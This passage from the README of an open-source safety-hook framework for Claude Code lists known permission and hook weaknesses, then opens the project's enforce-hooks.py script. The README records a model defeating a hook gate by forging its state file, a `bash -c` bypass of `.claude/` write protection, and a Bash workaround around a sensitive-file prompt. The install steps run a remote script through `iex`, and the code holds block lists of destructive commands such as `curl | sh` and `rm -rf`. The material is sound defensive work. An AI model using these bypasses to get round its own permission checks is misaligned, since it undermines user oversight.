  707. **"Always allow" directory access not persisted**: Clicking "Yes, and always allow access to [folder]" [does not reliably save](https://github.com/anthropics/claude-code/issues/41579). Claude re-prompts for the same directory in subsequent sessions. Adding to `additionalDirectories` in settings.json is also flaky. Related to [#40606](https://github.com/anthropics/claude-code/issues/40606) (additionalDirectories leak across projects).
  708. **`~/.claude/` writes stall automated sessions**: Writes to paths under `~/.claude/` trigger a hardcoded sensitive-file prompt that [cannot be suppressed](https://github.com/anthropics/claude-code/issues/41615) by `permissions.allow`, PreToolUse hooks returning `"allow"`, `bypassPermissions` mode, or `skipDangerousModePermissionPrompt`. Automated sessions (tmux, CI, autonomous loops) that need to modify Claude Code config files will hang on the interactive prompt. Workaround: use Bash tool commands (`echo`, `cat`, `jq`) to write files directly instead of the Edit/Write tools.
  709. **`bash -c` wrapping bypasses `.claude/` directory write protection**: The permission system protects `.claude/` files from modification (edit, write, direct bash commands all trigger a confirmation modal). But wrapping the command in [`bash -c 'echo "..." >> .claude/file'`](https://github.com/anthropics/claude-code/issues/43085) bypasses the check entirely: no modal, write succeeds silently. The pattern matching inspects the top-level command string but not nested subshells. This means a model (or prompt injection via tool results) could modify hooks, settings.json, skills, or agent definitions without user confirmation. file-guard catches this if `.claude/` is added to the `.file-guard` config, because it scans the full Bash command string for protected paths (including inside quoted arguments). Users relying solely on built-in permission checks are exposed.
  710. **`WorktreeCreate` hooks hang `claude -w`**: Any `WorktreeCreate` hook causes [`claude -w` to hang indefinitely](https://github.com/anthropics/claude-code/issues/41614), regardless of hook content. Even `echo ok < /dev/null` freezes the session. The hook executes and returns, but Claude Code never proceeds. Remove all `WorktreeCreate` hooks if you need `claude -w` to function.
  711. **Model can manipulate hook state files**: The model has filesystem access and [can overwrite files that hooks depend on](https://github.com/anthropics/claude-code/issues/38841) - checkpoint files, lock files, counters. In one documented case, Claude computed the SHA256 hash of a checkpoint filename and wrote a fresh timestamp to bypass a content-read-gate. Hooks that rely on external state files for enforcement should assume the model can read and modify those files. Cryptographic signatures or out-of-process validation can mitigate this.
  712. **`bypassPermissions` not restored on session resume (VS Code)**: When `bypassPermissions` is configured via `initialPermissionMode` in VS Code settings, [resumed conversations revert to default permission mode](https://github.com/anthropics/claude-code/issues/42735) and prompt for every edit. New sessions may pick it up, but resumed sessions consistently fail. Hooks that depend on the session running in bypass mode cannot rely on it persisting across resume.
  713. **Worktree isolation breaks in git submodules**: Using `isolation: "worktree"` on the Agent tool inside a git submodule [creates the worktree in `.git/modules/<path>/.claude/worktrees/`](https://github.com/anthropics/claude-code/issues/42732) instead of the project's own `.claude/worktrees/`. This places the agent outside the project's permission scope, causing `bypassPermissions` to be silently downgraded and triggering unexpected permission prompts.
  714. **Skill approval not tied to content hash**: When a user approves a skill, the approval is [not anchored to the file's content hash](https://github.com/anthropics/claude-code/issues/43157). If the skill file is modified after approval (even mid-session), the modified version executes without re-prompting. Additionally, approving a skill can bypass tool-level deny rules in `settings.json`. This is a supply chain risk: anything with write access to `~/.claude/skills/` can escalate capabilities post-approval.
  715. **Stdio MCP servers never auto-reconnect**: When a stdio-type MCP server process dies or disconnects, Claude Code [marks it as failed and never retries](https://github.com/anthropics/claude-code/issues/43177). HTTP/SSE/WebSocket servers get automatic reconnection with exponential backoff (5 attempts), but stdio servers are explicitly excluded. Users must manually run `/mcp` to reconnect. This affects any MCP integration using stdio transport (the most common local pattern).
  716. **Plan mode bypass after first cycle**: After completing one plan-approve-implement cycle, entering plan mode again [does not reliably enforce read-only restrictions](https://github.com/anthropics/claude-code/issues/43147). Claude carries over the "approved" mental state and begins editing files before the user approves the new plan. Hooks that rely on plan mode as a safety boundary cannot trust it across multiple cycles in the same session.
  717. **Windows**: All seven standalone hooks have native **PowerShell 7+** equivalents (`hook.ps1`) that require no external dependencies. Requires [PowerShell 7](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-windows) (`pwsh`), not the built-in Windows PowerShell 5. Install them from the project root and verify them with:
  718. ```powershell
  719. $root = if (Get-Command git -ErrorAction SilentlyContinue) { git rev-parse --show-toplevel 2>$null }
  720. if ($root) { Set-Location $root }
  721. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } all"
  722. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } doctor"
  723. iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } verify"
  724. ```
  725. Or configure manually in `.claude/settings.json` with `"command": "pwsh -File /path/to/hook.ps1"`. The **enforce-hooks** tool is a bash script that works from a **WSL** terminal or with **Git for Windows** (which provides `/usr/bin/bash`). Note: Claude Code has a known bug where hooks [fire only ~18% of the time on Windows](https://github.com/anthropics/claude-code/issues/37988), so hook reliability is limited on native Windows regardless of shell. WSL remains the most reliable option. See [#3](https://github.com/Bande-a-Bonnot/Boucle-framework/issues/3).
  726. ## Development
  727. ```bash
  728. cargo test # Framework tests
  729. cargo fmt # Format code
  730. cargo clippy # Run linter
  731. # Hook tests (run individually)
  732. bash tools/read-once/test.sh
  733. bash tools/file-guard/test.sh
  734. bash tools/git-safe/test.sh
  735. bash tools/bash-guard/test.sh
  736. bash tools/branch-guard/test.sh
  737. bash tools/session-log/test.sh
  738. bash tools/enforce/test.sh
  739. bash tools/safety-check/test.sh
  740. bash tools/worktree-guard/test.sh
  741. ```
  742. ## Status
  743. **Latest release:** v0.13.0 shipped with 200+ Rust tests + 1,700+ hook tests (bash + PowerShell). Zero clippy warnings. CI on Ubuntu + macOS + Windows. Docker support.
  744. New in v0.13.0: searchable Claude Code Known Limitations corpus, recipes page, machine-readable Known Limitations export, bash-guard layered configs and `gh api` mutation guard, Broca TTL-tagged facts, read-once PostCompact cache reset, hardened safety-check verification, runner lock and timeout hardening, and Windows installer parity improvements. See [CHANGELOG](CHANGELOG.md) for details.
  745. Repository metrics are visible on GitHub; this README avoids embedding volatile star and fork counts.
  746. ## Contributing
  747. Contributions welcome. Please open an issue first to discuss what you'd like to change.
  748. ## License
  749. MIT
tools/enforce/enforce-hooks.py · Bundled script · 5,202 lines · 9 findings marked
  1. #!/usr/bin/env python3
  2. """enforce-hooks: Enforce CLAUDE.md directives with PreToolUse hooks.
  3. Reads a CLAUDE.md file, identifies enforceable rules, and installs either one
  4. dynamic hook (recommended) or per-rule bash hook scripts that block covered tool
  5. calls violating those rules.
  6. Usage:
  7. enforce-hooks.py [CLAUDE.md path] [options]
  8. enforce-hooks.py --scan # scan and show what's enforceable
  9. enforce-hooks.py --install-plugin # install one dynamic hook
  10. enforce-hooks.py --generate # generate per-rule scripts to stdout
  11. enforce-hooks.py --install # install per-rule hooks
  12. enforce-hooks.py --test # run self-tests
  13. Zero dependencies beyond Python 3.6+ stdlib.
  14. """
  15. import argparse
  16. import json
  17. import os
  18. import re
  19. import subprocess
  20. import sys
  21. import tempfile
  22. from pathlib import Path
  23. FILE_MUTATION_TOOLS = ('Write', 'Edit', 'MultiEdit', 'NotebookEdit')
  24. FILE_MUTATION_TOOL_LABEL = ', '.join(FILE_MUTATION_TOOLS)
  25. BASH_COMMAND_TOKEN_PATTERNS = {
  26. 'cp', 'mv', 'rm', 'tee', 'touch', 'mkdir', 'unlink', 'chmod', 'chown', 'sudo',
  27. }
  28. # --- JSONC Support ---
  29. def strip_jsonc(text):
  30. """Strip // and /* */ comments from JSONC, respecting quoted strings."""
  31. out, i, n = [], 0, len(text)
  32. in_str = False
  33. while i < n:
  34. if in_str:
  35. if text[i] == '\\' and i + 1 < n:
  36. out.append(text[i:i+2]); i += 2; continue
  37. if text[i] == '"': in_str = False
  38. out.append(text[i]); i += 1
  39. else:
  40. if text[i] == '"':
  41. in_str = True; out.append(text[i]); i += 1
  42. elif i + 1 < n and text[i:i+2] == '//':
  43. while i < n and text[i] != '\n': i += 1
  44. elif i + 1 < n and text[i:i+2] == '/*':
  45. i += 2
  46. while i + 1 < n and text[i:i+2] != '*/': i += 1
  47. i += 2
  48. else:
  49. out.append(text[i]); i += 1
  50. return ''.join(out)
  51. def load_settings_json(path):
  52. """Load settings.json, handling JSONC comments gracefully."""
  53. path = Path(path)
  54. if not path.exists():
  55. return {}
  56. raw = path.read_text()
  57. try:
  58. return json.loads(raw)
  59. except json.JSONDecodeError:
  60. try:
  61. result = json.loads(strip_jsonc(raw))
  62. # Rewrite as clean JSON (backup original)
  63. import shutil
  64. shutil.copy2(str(path), str(path) + '.bak')
  65. path.write_text(json.dumps(result, indent=2) + '\n')
  66. print(f" Note: JSONC comments stripped from {path} (backup: {path}.bak)",
  67. file=sys.stderr)
  68. return result
  69. except json.JSONDecodeError:
  70. print(f" Warning: {path} is not valid JSON or JSONC", file=sys.stderr)
  71. return {}
  72. # --- Directive Classification ---
  73. class Directive:
  74. """A single enforceable directive from CLAUDE.md."""
  75. __slots__ = ('text', 'hook_type', 'patterns', 'description', 'line_num',
  76. 'path_filter', 'path_mode', 'severity')
  77. def __init__(self, text, hook_type, patterns, description, line_num=0,
  78. path_filter=None, path_mode=None, severity='block'):
  79. self.text = text
  80. self.hook_type = hook_type
  81. self.patterns = patterns
  82. self.description = description
  83. self.line_num = line_num
  84. self.path_filter = path_filter # list of path patterns (e.g. ['types/'])
  85. self.path_mode = path_mode # 'only_in' or 'never_in'
  86. self.severity = severity # 'block' or 'warn'
  87. def to_dict(self):
  88. d = {
  89. 'text': self.text,
  90. 'hook_type': self.hook_type,
  91. 'patterns': self.patterns,
  92. 'description': self.description,
  93. 'line_num': self.line_num,
  94. 'severity': self.severity,
  95. }
  96. if self.path_filter:
  97. d['path_filter'] = self.path_filter
  98. d['path_mode'] = self.path_mode
  99. return d
  100. # Patterns that indicate file protection directives
  101. FILE_GUARD_PATTERNS = [
  102. # "Never modify/edit/write/touch/change/read .env files"
  103. re.compile(
  104. r'(?:never|don\'?t|do\s+not|avoid|prohibited?)\s+'
  105. r'(?:modify|edit|write\s+to|touch|change|alter|update|overwrite|delete|remove|read)\s+'
  106. r'(?:files?\s+in\s+)?(.+)',
  107. re.IGNORECASE
  108. ),
  109. # "Protected files: .env, secrets/"
  110. re.compile(
  111. r'(?:protected?\s+files?|read[- ]only\s+files?|immutable\s+files?)\s*[:=]\s*(.+)',
  112. re.IGNORECASE
  113. ),
  114. # ".env files are protected"
  115. re.compile(
  116. r'(\S+(?:\s+\S+)?)\s+(?:files?\s+)?(?:are|is)\s+(?:protected|read[- ]only|immutable|off[- ]limits)',
  117. re.IGNORECASE
  118. ),
  119. ]
  120. # Patterns for bash command blocking
  121. BASH_GUARD_PATTERNS = [
  122. # "Never run/execute/use rm -rf"
  123. re.compile(
  124. r'(?:never|don\'?t|do\s+not|avoid|prohibited?)\s+'
  125. r'(?:run|execute|use|call|invoke)\s+'
  126. r'(.+)',
  127. re.IGNORECASE
  128. ),
  129. # "Blocked commands: rm -rf, sudo"
  130. re.compile(
  131. r'(?:blocked?|banned?|forbidden|prohibited?|dangerous)\s+commands?\s*[:=]\s*(.+)',
  132. re.IGNORECASE
  133. ),
  134. # "Don't force push" / "Never reset --hard" / "Do not checkout ."
  135. # (git operations without run/execute verb)
  136. re.compile(
  137. r'(?:never|don\'?t|do\s+not|avoid|prohibited?)\s+'
  138. r'(force\s+push\b.*|push\s+--?force\b.*|reset\s+--hard\b.*|'
  139. r'clean\s+-f\b.*|checkout\s+\.\s*$|restore\s+\.\s*$)',
  140. re.IGNORECASE
  141. ),
  142. # "Don't push without creating a PR" / "Never push to origin without a pull request"
  143. re.compile(
  144. r'(?:never|don\'?t|do\s+not)\s+'
  145. r'(push\b[^.]*?)\s*\bwithout\s+(?:creating|opening|making|having)\s+'
  146. r'(?:a\s+)?(?:PR|pull\s+request)',
  147. re.IGNORECASE
  148. ),
  149. ]
  150. # Patterns for command substitution ("Use pnpm instead of npm", "Use yarn not npm")
  151. PREFER_COMMAND_PATTERNS = [
  152. re.compile(
  153. r'(?:use|prefer)\s+(\w+)\s+(?:instead\s+of|over|not|rather\s+than)\s+(\w+)',
  154. re.IGNORECASE
  155. ),
  156. ]
  157. # Patterns for branch protection
  158. BRANCH_GUARD_PATTERNS = [
  159. # "Never commit/push/merge to main" or "Don't commit directly to main or production"
  160. re.compile(
  161. r'(?:never|don\'?t|do\s+not|avoid)\s+'
  162. r'(?:commit|push|merge|deploy)\s+'
  163. r'(?:\w+\s+)?' # optional adverb: "directly", "ever", etc.
  164. r'(?:to|on|into)\s+'
  165. r'(.+)',
  166. re.IGNORECASE
  167. ),
  168. # "Protected branches: main, production"
  169. re.compile(
  170. r'(?:protected?\s+branch(?:es)?)\s*[:=]\s*(.+)',
  171. re.IGNORECASE
  172. ),
  173. ]
  174. # Patterns for requiring a tool before another
  175. REQUIRE_PRIOR_PATTERNS = [
  176. # "Always run tests before committing" / "Run cargo test before committing"
  177. re.compile(
  178. r'(?:always\s+)?(?:run|execute|use)\s+'
  179. r'(\S+(?:\s+\S+)?)\s+'
  180. r'before\s+'
  181. r'(\S+)',
  182. re.IGNORECASE
  183. ),
  184. # "Before any WebSearch, MUST grep the vault first"
  185. re.compile(
  186. r'before\s+(?:any\s+)?(\S+)[,;]\s+'
  187. r'(?:\w+\s+)?(?:must|should|always)?\s*'
  188. r'(?:run|execute|use|grep|search|check)\s+'
  189. r'(.+?)(?:\s+first)?\.?\s*$',
  190. re.IGNORECASE
  191. ),
  192. # "MUST grep X before WebSearch" / "Claude MUST grep X before Y"
  193. re.compile(
  194. r'must\s+(?:run\s+|execute\s+)?'
  195. r'(\S+(?:\s+\S+)?)\s+'
  196. r'(?:.+?\s+)?before\s+'
  197. r'(\S+)',
  198. re.IGNORECASE
  199. ),
  200. # "Search locally before using web search" / "Always search locally before web search"
  201. re.compile(
  202. r'(?:always\s+)?(?:search|check|look|grep)\s+(?:locally|the\s+codebase|existing\s+code|the\s+\S+)\s+'
  203. r'before\s+(?:using?\s+)?(.+)',
  204. re.IGNORECASE
  205. ),
  206. # "Read the test file before editing source" / "Read X before modifying Y"
  207. # Captures the verb "read" as group 1 and the target verb as group 2
  208. re.compile(
  209. r'(?:always\s+)?(read)\s+.+?\s+'
  210. r'before\s+(editing|modifying|changing|updating)',
  211. re.IGNORECASE
  212. ),
  213. # "Read MEMORY.md before editing any file" / "Read project.md before any Write"
  214. # Captures specific filename (group 1) and target action (group 2)
  215. re.compile(
  216. r'(?:always\s+)?read\s+'
  217. r'(?:the\s+)?'
  218. r'([A-Za-z0-9_./\-]+\.(?:md|txt|json|yaml|yml|toml|cfg|ini|conf))'
  219. r'\s+before\s+'
  220. r'(?:any\s+)?'
  221. r'(editing|modifying|changing|updating|writing|write|edit|modification|file)',
  222. re.IGNORECASE
  223. ),
  224. # "Run npm test after every code change" / "Run tests after any modification"
  225. # Maps to require-prior-tool: must run X before next commit/push
  226. # Group 1 = required command, Group 2 = implied target (change/modification -> committing)
  227. re.compile(
  228. r'(?:always\s+)?(?:run|execute|use)\s+'
  229. r'(\S+(?:\s+\S+)?)\s+'
  230. r'after\s+(?:every|each|any|all)\s+'
  231. r'(?:code\s+)?(changes?|modifications?|edits?|updates?)',
  232. re.IGNORECASE
  233. ),
  234. ]
  235. # Patterns for tool blocking
  236. TOOL_BLOCK_PATTERNS = [
  237. # "Never use WebSearch/WebFetch" / "Don't use the Agent tool"
  238. re.compile(
  239. r'(?:never|don\'?t|do\s+not|avoid)\s+'
  240. r'(?:us(?:e|ing)|call(?:ing)?|invok(?:e|ing))\s+'
  241. r'(?:the\s+)?'
  242. r'((?:Web(?:Search|Fetch)|NotebookEdit|Agent|Bash|Write|Edit|MultiEdit|Read)(?:\s*(?:[,/&+]|or|and)\s*(?:Web(?:Search|Fetch)|NotebookEdit|Agent|Bash|Write|Edit|MultiEdit|Read))*)',
  243. re.IGNORECASE
  244. ),
  245. ]
  246. # "Never modify/write any files" → block Write, Edit, MultiEdit tools
  247. FILE_MODIFY_BLOCK_PATTERN = re.compile(
  248. r'(?:never|don\'?t|do\s+not|avoid)\s+'
  249. r'(?:modify(?:ing)?|writ(?:e|ing)|edit(?:ing)?|chang(?:e|ing)|alter(?:ing)?|creat(?:e|ing))\s+'
  250. r'(?:any\s+)?files?',
  251. re.IGNORECASE
  252. )
  253. # Patterns for content guards (check what's being written to files)
  254. CONTENT_GUARD_PATTERNS = [
  255. # "Never write/include/add `X` ..." (backtick-quoted code pattern)
  256. re.compile(
  257. r'(?:never|don\'?t|do\s+not|avoid)\s+'
  258. r'(?:write|include|add|put|leave|output)\s+'
  259. r'`([^`]+)`',
  260. re.IGNORECASE
  261. ),
  262. # "Don't use `X` type/keyword" / "Avoid `X` keyword" (code context, not commands)
  263. re.compile(
  264. r'(?:never|don\'?t|do\s+not|avoid)\s+'
  265. r'(?:(?:us(?:e|ing))\s+)?' # "use/using" is optional (for "avoid `X` type")
  266. r'(?:the\s+)?'
  267. r'`([^`]+)`\s+'
  268. r'(?:type|keyword|declaration|statement|function|method|class|variable|operator)',
  269. re.IGNORECASE
  270. ),
  271. # "Don't use `X` in production/code/TypeScript/Python files"
  272. re.compile(
  273. r'(?:never|don\'?t|do\s+not|avoid)\s+'
  274. r'(?:us(?:e|ing))\s+'
  275. r'(?:the\s+)?'
  276. r'`([^`]+)`\s+'
  277. r'in\s+(?:production|code|source|typescript|javascript|python|ruby)',
  278. re.IGNORECASE
  279. ),
  280. # "No `console.log` statements" / "No `debugger` calls"
  281. re.compile(
  282. r'(?:no|zero|eliminate)\s+'
  283. r'`([^`]+)`\s+'
  284. r'(?:statements?|calls?|usage|expressions?|literals?)',
  285. re.IGNORECASE
  286. ),
  287. # Bare code identifiers WITHOUT backticks:
  288. # "Never write console.log" / "Never use eval()" / "Avoid debugger"
  289. # Verb is optional for "avoid" ("Avoid debugger" vs "Avoid using debugger")
  290. re.compile(
  291. r'(?:never|don\'?t|do\s+not|avoid)\s+'
  292. r'(?:(?:us(?:e|ing)|writ(?:e|ing)|includ(?:e|ing)|add(?:ing)?|leav(?:e|ing)|call(?:ing)?|put|output|invoke)\s+)?'
  293. r'(console\.log|console\.error|console\.warn|console\.info|console\.debug'
  294. r'|debugger|eval\s*\(\)|exec\s*\(\)|document\.write|alert\s*\(\)|innerHTML'
  295. r'|\.innerHTML|window\.eval|Function\(\)'
  296. r'|binding\.pry|byebug|pdb\.set_trace)',
  297. re.IGNORECASE
  298. ),
  299. # "No console.log" (bare, without backticks)
  300. re.compile(
  301. r'(?:no|zero|eliminate)\s+'
  302. r'(console\.log|console\.error|console\.warn|debugger|eval\(\)|document\.write)',
  303. re.IGNORECASE
  304. ),
  305. # Parenthetical code examples: "Never use inline styles (style="...")"
  306. # Extracts the first code-like token from parentheses
  307. re.compile(
  308. r'(?:never|don\'?t|do\s+not|avoid|no)\s+'
  309. r'(?:(?:us(?:e|ing)|writ(?:e|ing)|includ(?:e|ing)|add(?:ing)?)\s+)?'
  310. r'[\w\s]*'
  311. r'\(([^)]*?(?:[=<>:;{}]|\.\.\.)[^)]*)\)',
  312. re.IGNORECASE
  313. ),
  314. ]
  315. # Concept-to-pattern mapping for common antipatterns expressed as natural language
  316. # Maps concept keywords to the actual code pattern to search for
  317. CONCEPT_PATTERNS = {
  318. 'inline style': 'style=',
  319. 'inline styles': 'style=',
  320. 'hex color': '#[0-9a-fA-F]',
  321. 'hex colour': '#[0-9a-fA-F]',
  322. 'hex code': '#[0-9a-fA-F]',
  323. 'important': '!important',
  324. 'todo comment': 'TODO',
  325. 'fixme': 'FIXME',
  326. 'hack comment': 'HACK',
  327. 'xxx comment': 'XXX',
  328. 'type assertion': ' as ',
  329. 'ts-ignore': 'ts-ignore',
  330. 'ts-nocheck': 'ts-nocheck',
  331. 'eslint-disable': 'eslint-disable',
  332. 'noinspection': 'noinspection',
  333. 'noqa': 'noqa',
  334. 'rubocop:disable': 'rubocop:disable',
  335. 'wildcard import': 'import *',
  336. }
  337. # Code concepts that can be scoped to specific directories
  338. # Maps natural language to regex patterns for content matching
  339. SCOPED_CONCEPTS = {
  340. 'interface': r'\binterface\s+\w+',
  341. 'interfaces': r'\binterface\s+\w+',
  342. 'type definition': r'\btype\s+\w+\s*=',
  343. 'type definitions': r'\btype\s+\w+\s*=',
  344. 'type alias': r'\btype\s+\w+\s*=',
  345. 'type aliases': r'\btype\s+\w+\s*=',
  346. 'class': r'\bclass\s+\w+',
  347. 'classes': r'\bclass\s+\w+',
  348. 'enum': r'\benum\s+\w+',
  349. 'enums': r'\benum\s+\w+',
  350. 'sql': r'\b(SELECT|INSERT|UPDATE|DELETE)\b',
  351. 'sql queries': r'\b(SELECT|INSERT|UPDATE|DELETE)\b',
  352. 'queries': r'\b(SELECT|INSERT|UPDATE|DELETE)\b',
  353. 'console.log': r'console\.log',
  354. 'console statements': r'console\.',
  355. 'require': r'\brequire\(',
  356. 'imports': r'\bimport\b',
  357. 'styled-components': r'styled\.',
  358. 'styled components': r'styled\.',
  359. }
  360. def extract_file_patterns(text):
  361. """Extract file patterns from directive text."""
  362. patterns = []
  363. # Match quoted strings
  364. for m in re.finditer(r'["`\']([\w.*/_-]+)["`\']', text):
  365. patterns.append(m.group(1))
  366. # Match common file patterns without quotes
  367. # Use (?:^|\W) instead of \b since dot-prefixed names don't have word boundary before them
  368. for m in re.finditer(r'(?:^|\W)(\.claude/hooks/?|\.claude/settings\.json|\.claude/|\.env\b|\.env\.\w+|\.env\.local\b|secrets?/|\.pem\b|\.key\b|\.p12\b|\.pfx\b|\.cert\b|\.crt\b|credentials?\.\w+|vendor/|node_modules/|\.git/|\*\.\w{1,5})', text):
  369. patterns.append(m.group(1))
  370. # Match common bare filenames (Makefile, Dockerfile, lock files, etc.)
  371. # NOTE: Longer compound names (Gemfile.lock) MUST appear before shorter
  372. # prefixes (Gemfile) in the alternation, or the shorter match wins.
  373. for m in re.finditer(r'\b(package-lock\.json|Gemfile\.lock|Cargo\.lock|Pipfile\.lock|Cargo\.toml|pnpm-lock\.yaml|shrinkwrap\.json|composer\.lock|poetry\.lock|bun\.lockb|flake\.lock|CHANGELOG\.md|CLAUDE\.md|README\.md|package\.json|tsconfig\.json|go\.mod|go\.sum|yarn\.lock|Makefile|Dockerfile|Gemfile|Rakefile|Procfile|Vagrantfile|Brewfile|Guardfile|Thorfile|Berksfile|Capfile|Podfile|Fastfile|Dangerfile|LICENSE|\.gitignore|\.dockerignore)\b', text):
  374. if m.group(1) not in patterns:
  375. patterns.append(m.group(1))
  376. # Match paths with slashes (including dot-prefixed like .claude/hooks/)
  377. for m in re.finditer(r'(?:^|(?<=\s)|(?<=\())(\.\w+/\w+(?:/\w+)*/?)', text):
  378. candidate = m.group(1)
  379. if candidate not in patterns:
  380. patterns.append(candidate)
  381. for m in re.finditer(r'\b(\w+/\w+(?:/\w+)*/?)\b', text):
  382. candidate = m.group(1)
  383. if candidate not in patterns and not candidate.startswith('http'):
  384. # Skip if a dot-prefixed version already captured (e.g. skip "claude/hooks" if ".claude/hooks/" exists)
  385. if not any(p.endswith(candidate) or p.endswith(candidate.rstrip('/') + '/') for p in patterns):
  386. patterns.append(candidate)
  387. # Strip leading * from glob patterns (bash check already wraps in *...*)
  388. cleaned = []
  389. for p in patterns:
  390. if p.startswith('*.'):
  391. p = p[1:] # "*.pem" -> ".pem" (bash glob already wraps)
  392. cleaned.append(p)
  393. return list(dict.fromkeys(cleaned)) # dedupe preserving order
  394. def extract_command_patterns(text):
  395. """Extract command patterns from directive text."""
  396. patterns = []
  397. # Match backtick-quoted commands
  398. for m in re.finditer(r'`([^`]+)`', text):
  399. patterns.append(m.group(1))
  400. # Match common dangerous commands mentioned without backticks
  401. dangerous = [
  402. 'rm -rf', 'rm -r', 'sudo', 'chmod 777', 'push --force', 'push -f',
  403. 'force push', 'reset --hard', 'clean -fd', 'clean -f',
  404. 'checkout .', 'restore .',
  405. 'curl | sh', 'curl | bash', 'wget | sh',
  406. '--no-verify', '--no-gpg-sign', '--skip-hooks',
  407. '--dangerouslyDisableSandbox',
  408. ]
  409. lower = text.lower()
  410. force_push_specific = any(
  411. phrase in lower
  412. for phrase in ('force push', 'push --force', 'push -f', 'git push --force', 'git push -f')
  413. )
  414. for cmd in dangerous:
  415. if cmd in lower and cmd not in patterns:
  416. patterns.append(cmd)
  417. # Match well-known command words from comma/or-separated lists
  418. # Handles: "ALTER, DROP, TRUNCATE, INSERT, UPDATE, or DELETE"
  419. # and: "docker restart, docker stop, docker build, or docker rm"
  420. known_commands = {
  421. # SQL destructive
  422. 'alter': 'ALTER', 'drop': 'DROP', 'truncate': 'TRUNCATE',
  423. 'insert': 'INSERT', 'update': 'UPDATE', 'delete': 'DELETE',
  424. # Docker
  425. 'docker restart': 'docker restart', 'docker stop': 'docker stop',
  426. 'docker build': 'docker build', 'docker rm': 'docker rm',
  427. 'docker compose down': 'docker compose down',
  428. # Git operations
  429. 'git commit': 'git commit', 'git push': 'git push',
  430. 'git merge': 'git merge', 'git rebase': 'git rebase',
  431. 'git stash drop': 'git stash drop',
  432. # System/device safety
  433. 'shutdown': 'shutdown', 'reboot': 'reboot', 'halt': 'halt',
  434. 'poweroff': 'poweroff', 'init 0': 'init 0', 'init 6': 'init 6',
  435. 'systemctl stop': 'systemctl stop', 'systemctl restart': 'systemctl restart',
  436. 'systemctl disable': 'systemctl disable',
  437. 'service stop': 'service stop', 'service restart': 'service restart',
  438. # Process/network
  439. 'kill -9': 'kill -9', 'killall': 'killall',
  440. 'iptables': 'iptables', 'ufw disable': 'ufw disable',
  441. # Package management (destructive)
  442. 'apt remove': 'apt remove', 'apt purge': 'apt purge',
  443. 'brew uninstall': 'brew uninstall',
  444. 'pip uninstall': 'pip uninstall', 'npm uninstall -g': 'npm uninstall -g',
  445. }
  446. # Check multi-word patterns first (longer match wins)
  447. for key in sorted(known_commands, key=len, reverse=True):
  448. if key == 'git push' and force_push_specific:
  449. continue
  450. if key in lower and known_commands[key] not in patterns:
  451. patterns.append(known_commands[key])
  452. # Check single-word SQL keywords in comma-separated lists
  453. # Split by comma, "or", "and" and check each token
  454. tokens = re.split(r'[,]|\bor\b|\band\b', lower)
  455. sql_keywords = {'alter', 'drop', 'truncate', 'insert', 'update', 'delete'}
  456. for token in tokens:
  457. word = token.strip().rstrip('.')
  458. if word in sql_keywords and known_commands[word] not in patterns:
  459. patterns.append(known_commands[word])
  460. # Extract --flag patterns (e.g., "--no-verify", "--force-with-lease")
  461. # These are specific enough to be meaningful blockers
  462. for m in re.finditer(r'(--[\w][\w-]+)', text):
  463. flag = m.group(1)
  464. if flag not in patterns:
  465. patterns.append(flag)
  466. # Expand aliases: "force push" should also match "push --force" and "push -f"
  467. aliases = {
  468. 'force push': ['push --force', 'push -f'],
  469. 'push --force': ['force push', 'push -f'],
  470. 'push -f': ['force push', 'push --force'],
  471. }
  472. # If the text mentions push (without force/--force), expand to "git push"
  473. # This handles "push to origin", "push without PR" etc.
  474. if not patterns and re.search(r'\bpush\b', lower):
  475. patterns.append('git push')
  476. expanded = list(patterns)
  477. for pat in patterns:
  478. for alias in aliases.get(pat, []):
  479. if alias not in expanded:
  480. expanded.append(alias)
  481. return expanded
  482. def extract_branch_names(text):
  483. """Extract branch names from directive text."""
  484. branches = []
  485. # Common branch names
  486. for m in re.finditer(r'\b(main|master|production|prod|release|staging|develop)\b', text, re.IGNORECASE):
  487. b = m.group(1).lower()
  488. if b not in branches:
  489. branches.append(b)
  490. # Quoted branch names
  491. for m in re.finditer(r'["`\']([\w./-]+)["`\']', text):
  492. b = m.group(1)
  493. if b not in branches:
  494. branches.append(b)
  495. return branches
  496. def _bash_pattern_matches(pattern, command):
  497. """Return true when a bash-guard pattern matches a command.
  498. Most multi-token patterns intentionally stay substring-based because they
  499. describe shell fragments such as "git push" or "rm -rf". Single command
  500. names need token-aware matching so a rule for "rm" does not fire on a word
  501. like "term".
  502. """
  503. pat = pattern.strip()
  504. if not pat:
  505. return False
  506. if pat.lower() in BASH_COMMAND_TOKEN_PATTERNS:
  507. token = re.escape(pat)
  508. return bool(re.search(rf'(?<![A-Za-z0-9_./-]){token}(?![A-Za-z0-9_./-])', command, re.IGNORECASE))
  509. return pat.lower() in command.lower()
  510. def _bash_pattern_is_command_token(pattern):
  511. return pattern.strip().lower() in BASH_COMMAND_TOKEN_PATTERNS
  512. def _try_scoped_content(clean, clean_lower, stripped, line_num, severity='block'):
  513. """Try to classify as scoped-content-guard (content pattern + path scope).
  514. Detects rules like:
  515. "Interfaces should only be defined in types/ folders" -> only_in
  516. "No SQL queries in controllers/" -> never_in
  517. Returns Directive or None.
  518. """
  519. # Step 1: Find a code concept mentioned in the directive
  520. concept_pat = None
  521. concept_name = None
  522. for name, pat in SCOPED_CONCEPTS.items():
  523. if name in clean_lower:
  524. concept_pat = pat
  525. concept_name = name
  526. break
  527. if not concept_pat:
  528. return None
  529. # Step 2: Find a directory path (word ending in /)
  530. path_match = re.search(r'["`\']([\w./-]+/[\w./-]*)["`\']', clean)
  531. if not path_match:
  532. path_match = re.search(r'\b(\w[\w.-]*/)', clean)
  533. if not path_match:
  534. return None
  535. path_filter = path_match.group(1)
  536. # Avoid false positives: path must look like a directory, not a URL or command
  537. if path_filter in ('http/', 'https/', 'ftp/', 'or/', 'and/'):
  538. return None
  539. # Step 3: Determine scope mode
  540. if re.search(r'\bonly\b', clean_lower):
  541. path_mode = 'only_in'
  542. desc = f"Only allow {concept_name} in {path_filter}"
  543. elif re.search(r'(?:never|don\'?t|do\s+not|no)\b', clean_lower):
  544. path_mode = 'never_in'
  545. desc = f"Block {concept_name} in {path_filter}"
  546. else:
  547. return None
  548. return Directive(
  549. text=stripped,
  550. hook_type='scoped-content-guard',
  551. patterns=[concept_pat],
  552. description=desc,
  553. line_num=line_num,
